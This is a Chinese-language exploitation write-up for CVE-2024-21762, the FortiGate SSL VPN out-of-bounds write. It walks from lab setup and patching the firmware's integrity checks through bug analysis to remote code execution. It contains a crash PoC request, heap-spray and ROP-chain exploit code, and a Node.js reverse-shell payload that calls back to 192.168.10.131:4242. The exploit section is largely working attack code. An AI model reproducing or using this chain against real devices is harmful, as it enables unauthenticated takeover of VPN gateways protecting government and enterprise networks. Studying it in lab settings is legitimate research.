更多视频教程可看主页和专栏
一、漏洞简介与威胁分析
FortiGate今年来连续爆出多个高危漏洞,其中一个严重级别漏洞CVE-2024-21762是SSL VPN的内存未授权越界写入仅有的2个字节\r\n导致了RCE。漏洞利用链比较巧妙, 非常值得学习的, 这里记录一下从环境搭建到漏洞分析再到漏洞利用getshell的完整过程。
通过网络空间测绘平台进行威胁分析,全球大约有超过数万台Fortigate VPN设备存在漏洞,涉及国防、政府、大型企业,影响面还是比较大的。从法律角度来看,网络安全法明确规定了网络运营者的安全保护义务,要求其采取必要措施保障网络安全,防止网络数据泄露或者被窃取、篡改。
此外,对于已经遭受入侵的组织而言,消减损失将是一项复杂且耗时的工程,对攻击者溯源追踪更是很多企业难以在短期内实现的任务。因此,在强调技术创新的同时,企业应当重视网络安全预防,完善风险评估机制,确保一旦被黑客入侵能够迅速响应并妥善处理。
这个远程代码执行漏洞的 CVSS v3 严重等级是9.8,严重性相当高。对于 CVE-2024-21762 的评估表明,任何成功的利用都会对数据保密性、系统完整性和服务可用性造成重大影响,而且不需要特权或用户交互就能达成。该漏洞影响版本情况如下:
Branch | Affected Versions | Fixed Versions |
---|---|---|
FortiOS 6.0 | FortiOS 6.0.0 through 6.0.17 | FortiOS 6.0.18 or above |
FortiOS 6.2 | FortiOS 6.2.0 through 6.2.15 | FortiOS 6.2.16 or above |
FortiOS 6.4 | FortiOS 6.4.0 through 6.4.14 | FortiOS 6.4.15 or above |
FortiOS 7.0 | FortiOS 7.0.0 through 7.0.13 | FortiOS 7.0.14 or above |
FortiOS 7.2 | FortiOS 7.2.0 through 7.2.6 | FortiOS 7.2.7 or above |
FortiOS 7.4 | FortiOS 7.4.0 through 7.4.2 | FortiOS 7.4.3 or above |
FortiOS 7.6 | Not Affected | N/A |
FortiProxy 1.2 | All versions of FortiProxy 1.2 | Migrate to a newer version |
FortiProxy 2.0 | FortiProxy 2.0.0 through 2.0.13 | FortiProxy 2.0.14 or above |
FortiProxy 7.0 | FortiProxy 7.0.0 through 7.0.14 | FortiProxy 7.0.15 or above |
FortiProxy 7.2 | FortiProxy 7.2.0 through 7.2.8 | FortiProxy 7.2.9 or above |
FortiProxy 7.4 | FortiProxy 7.4.0 through 7.4.2 | FortiProxy 7.4.3 or above |
二、调试环境搭建
(一)虚拟化环境安装
下载FortiGate-VM,导入ovf模板:
双击FortiGate-VM64.ovf即可用VMware打开之,网卡可以统一设置为NAT模式。
admin无密码直接回车(提升修改密码为admin即可)
配置IP地址:
show system interface // 显示当前配置
config system interface // 进入配置模式
edit port1 // 配置port1口
set mode static //设置为静态
set ip 192.168.10.100 255.255.255.0
end // 退出配置模式
//根据需要利用set allowaccess http https telnet ssh snmp
接着要提取FortiGate固件。首先将上面的FortiGate虚拟机挂起,然后将FortiGate虚拟磁盘挂载到我们的pwn虚拟机中。重启后,能看到成功挂载的磁盘FORTIOS,里面有我们想要的固件flatkc(内核)和rootfs.gz(文件系统),拷贝一份至桌面即可
对于rootfs.gz用下面命令解包
gzip -d rootfs.gz
sudo cpio -idmv < ./rootfs
rm -rf rootfs
sudo chroot . /sbin/xz --check=sha256 -d ./bin.tar.xz
sudo chroot . /sbin/ftar -xf ./bin.tar
(二)搭建GDB调试环境
目前只能通过admin账户登录飞塔console,该命令行界面无法执行通常意义的linux 的shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境。
使用vmlinux-to-elf就能将bzImage转成elf。然后使用 IDA 加载,定位到启动用户态进程的位置
fgt_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程,最后执行 /bin/init。该程序 main 函数中首先会有几处校验,如果校验失败就会调用 do_halt 重启系统:
其中 verify_kernel_and_rootfs目的是校验内核镜像和文件系统
Patch 思路与具体流程如下:
解压 rootfs.gz 以及其中的各个 tar.gz 文件;
然后 Patch /bin/init 程序,忽略其中的系统校验逻辑;
使用 cpio 和 gzip 重新打包 rootfs.gz;
替换 FORTIOS 分区中的 rootfs.gz;
利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行。
(三)配置sslvpn
默认刚刚安装的Fortigate是没有开放SSL VPN功能的,还需要通过web界面登录进行配置。具体按照下面这篇教程进行:
(https://blog.csdn.net/meigang2012/article/details/87903878)
三、漏洞分析
将存在漏洞的早期版本(比如这里选择FGT_VM64-v7.2.2)的init文件拖入IDA中进行分析定位漏洞点位。经过分析引发逻辑错误的函数是处理HTTP POST 的body体代码部分,即函数sub_1662BA0
中。在读取chunk trailer时,写入\r\n
的偏移chunk_offset
的赋值来源于*(_QWORD *)(a1 + 0x2D8)
,通过回溯发现*(_QWORD *)(a1 + 0x2D8)
的值来自于校验chunk length长度的代码块。当chunk length字段经过hex解码后值为0时,就会进入到chunk trailer读取的逻辑。
通过diff补丁对比发现, 新版本添加了对chunk的限制: 当ap_getline的返回值大于16的时候添加了非法chunk的异常处理。
再结合网上公开的Poc进行分析,总结漏洞成因如下:
1、读取chunk trailer时,会根据chunk length字段的长度向缓冲区中写入0x0d,0x0a
。
2、解析chunk时,如果chunk length字段hex解码后值为0,会从chunk trailer开始读, 且chunk trailer由ap_getline批量读取。
所以,假设向chunk length字段发送大量0的长度远超剩余缓冲区长度的1/2时,就会触发越界写入0x0a0d
。调试后发现栈上偏移0x2028的位置保存了返回地址。如果在偏移0x202e的位置写入0x0a0d
,当函数返回执行ret
指令恢复rip时就会因地址非法产生崩溃。
越界写两字节Poc代码:
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.10.100\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4117 + b"\r\n"
data += b"A\r\n" + b"\r\n\r\n"
崩溃现场:
那么如何进一步利用越界写入的2字节呢?我们知道利用栈上缓冲区溢出劫持程序流程的思路无非以下几种:
劫持返回地址
劫持rbp进行栈迁移
劫持栈上的结构体指针
这里栈溢出写入的是固定的两个字节\r\n
,越界范围接近0x2000。由于写入的内容非常有限,无法通过直接劫持rip实现RCE。在这种情况下劫持rbp实现栈迁移是一种可能的选项,但不幸的是,回溯上一级函数以及调用链上的大部分函数的返回部分都被优化成了以add rsp, xx;
这样的形式来恢复栈环境,并没有调用leave ret
来恢复rsp,所以该路线也没法走通。
四、漏洞利用
(一)利用思路
通过调试,可以发现程序执行到代码位置的0x176bc97处,正常会向上一级回溯到函数sub_177F4F0中地址0x177f56d处执行
该函数在栈上保存了rbx、r12-r15五个寄存器的值,并在函数返回时恢复这些寄存器。
继续向上回溯找到父函数sub_1780B00
,位置0x0000000001780B3B处调用了子函数sub_177F4F0,r13中保存的正是参数a1
,这样当sub_177F4F0调用后会把a1重新置为我们伪造的值。
如果根据后续利用链条的需要提前对堆内存进行布局,劫持a1指向该内存区域。当处理逻辑走到函数sub_1780B00
的代码中,触发存在a1多级结构体成员的动态函数调用,就有可能劫持程序控制流。
如上图,满足*(_BYTE *)(a1 + 32 * (v4 + 6LL) + 16) & 2) == 0 0 < v4 < 5
就能执行*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(a1 + 0x298)+0x70))(a1)
至此,总结以上思路就是:
1、栈内越界写两个字节0x0a0d。
2、栈内越界范围内有一个结构体指针a1,这个指针指向堆。
3、可以利用结构体偏移为0x298位置的数据,通过一个多级调用劫持控制流。
(二)堆喷布局
为了跟踪je_calloc
申请的内存空间(即a1结构体大小与位置),利用gdb断点调试栈帧,发现
pwndbg> bt
#0 0x00007fa59028c7f0 in __memset_avx2_unaligned_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#1 0x00007fa5903b4665 in je_calloc () from target:/usr/lib/x86_64-linux-gnu/libjemalloc.so.2
#2 0x0000000001776d12 in ?? ()
#3 0x000000000178e27b in ?? ()
#4 0x000000000178029d in ?? ()
#5 0x00000000017813c7 in ?? ()
#6 0x00000000017824bc in ?? ()
#7 0x0000000001783842 in ?? ()
#8 0x0000000000448def in ?? ()
#9 0x0000000000451eca in ?? ()
#10 0x000000000044ea2c in ?? ()
#11 0x0000000000451138 in ?? ()
#12 0x0000000000451a61 in ?? ()
#13 0x00007fa590155deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#14 0x0000000000443c8a in ?? ()
下断点可以看到rsi保存的是结构体a1大小,rdx保存allocSSLConn指针。
► 0x1776d0d call je_calloc@plt <je_calloc@plt>
rdi: 0x1
rsi: 0x608
rdx: 0x311a418 ◂— allocSSLConn
rcx: 0xcc
需要说明的是不同版本的a1结构体大小不同,不能看网上教程照搬。
为了利用堆喷来劫持栈上的结构体指针,需要满足一些条件:
目标结构体距离我们可控堆块的地址需要非常近
目标结构体的地址位于可控堆块地址的高地址
0x700的堆块在请求处理的过程中并不常用,因此很容易把tcache中0x700的堆块耗尽,同时申请更多新的0x700的块,使得释放后进入tcache。堆喷也选择不常用的大小的堆块,使得新申请的堆块是连续的,同时与新申请的0x700距离较近;堆喷选择使用较大堆块,以保证其地址为0x700对齐,这样就很容易做到每一个伪造的结构体地址的低12比特为0xa0d;堆喷范围不小于0x10000,以保证0x7fxxxxxxx0a0d
指向堆喷的区域。
(三)劫持程序流
在函数sub_1780B00
中涉及a1多级动态函数调用代码逻辑中,我们需要程序最终满足*(_BYTE *)(a1 + 32 * (v4 + 6LL) + 16) & 2) == 0 0 < v4 < 5
进而执行*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(a1 + 0x298)+0x88))(a1)
。a1结构体偏移 0x298处的成员变量是一个可以被伪造的多级函数指针,为了指向想要调用的目标函数,需要在目标二进制寻找符合条件的多级指针,这里利用Rela重定位节来实现此目的。
Rela重定位条目
GOT表
由于FortiOS中的sh几乎没什么用,所以调用system其实也没什么用,于是想到一个常用于fortigate利用的函数SSL_do_handshake
。
int SSL_do_handshake(SSL *s)
{
int ret = 1;
if (s->handshake_func == NULL) {
SSLerr(SSL_F_SSL_DO_HANDSHAKE, SSL_R_CONNECTION_TYPE_NOT_SET);
return -1;
}
ossl_statem_check_finish_init(s, -1);
s->method->ssl_renegotiate_check(s, 0);
if (SSL_in_init(s) || SSL_in_before(s)) {
if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
struct ssl_async_args args;
memset(&args, 0, sizeof(args));
args.s = s;
ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
} else {
ret = s->handshake_func(s); // 关键点
}
}
return ret;
}
最终可以走到s->handshake_func(s)
这一行,s
是我们可控的,因此可以真正意义上的任意地址调用。在这之后可以rop去调用execve
执行newcli
创建特权用户或者/bin/node
执行nodejs的反弹shell语句。
发送的数据包布局如下所示:
为了在init中寻找gadgets使用工具ropr即可
~/.cargo/bin/ropr -R 'add rsp, 0x108; ret;' ./init
(四)反弹SHELL
最终的漏洞利用流程图如下:
最后将所有的寄存器都赋值,并且调用execve函数,并且成功加载了/bin/node
:
此时已经加载了js代码,并且反弹node的shell回来了。
EXP关键代码如下:
ssl_do_handshake_ptr = up64(0x42ba68)
getcwd_ptr = up64(0x123456)
ssl_struct = b""
ssl_struct+= up64(0x2b7e821) #add rsp,0x108;ret
ssl_struct+= up64(0x3fa53e8-0x60) #strndup
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0x98bee1) # *handshake_func push rdi;pop rsp;ret
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up64(0)
ssl_struct+= up32(0)+up32(1)
#rop=b'0'*392
rop = b""
rop+= b'%21%e8%b7%02%00%00%00%00' #add rsp,0x108;ret
rop+= b'0'*264
rop+= b'%82%93%50%00%00%00%00%00' #pop rdx;ret
rop+= b'%f5%01%00%00%00%00%00%00'
rop+= b'%e2%4c%c5%00%00%00%00%00' #sub rdi,rdx;mov dword ptr [r8],edi;ret
rop+= b'%36%bb%46%00%00%00%00%00' #push rdi;pop rax;ret
rop+= b'%ca%26%d1%01%00%00%00%00' #push rax;pop rsi;or al,[rax];ret
rop+= b"%20%ed%a1%02%00%00%00%00" #sub_2a1ed20 execvp(path,argv)
js_payload = b'(function(){var/**/net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var/**/client%3dnew/**/net.Socket();client.connect(4242,"192.168.10.131",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return/**//a/;})();%00'
bin_node = b"/bin/node\t"
e_flag = b"%2d%65\t" #%2de%00
body = b""
body+= bin_node
body+= e_flag
body+= js_payload
body+= b'0'*(35-12)
body+= b'0'*29
body+= b'0'*165
body+= ssl_struct
body+= b'0'*168
body+= rop
body+= ssl_do_handshake_ptr
body+= b'0'*(90+0)
body+= b"="
body+= b"&"
body = body*11
print("[*]heap spray -> "+str(len(body)))
ssock1 = alloc_ssl()
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += f"Content-Length: {len(body)}\r\n".encode()
data += b"\r\n"
data += body
ssock1.sendall(data)
time.sleep(1)
print("[*]writing 0a0d..")
ssock2 = alloc_ssl()
data = b"POST / HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4138 + b"\r\n"
data += b"A\r\n" + b"\r\n\r\n"
ssock2.sendall(data)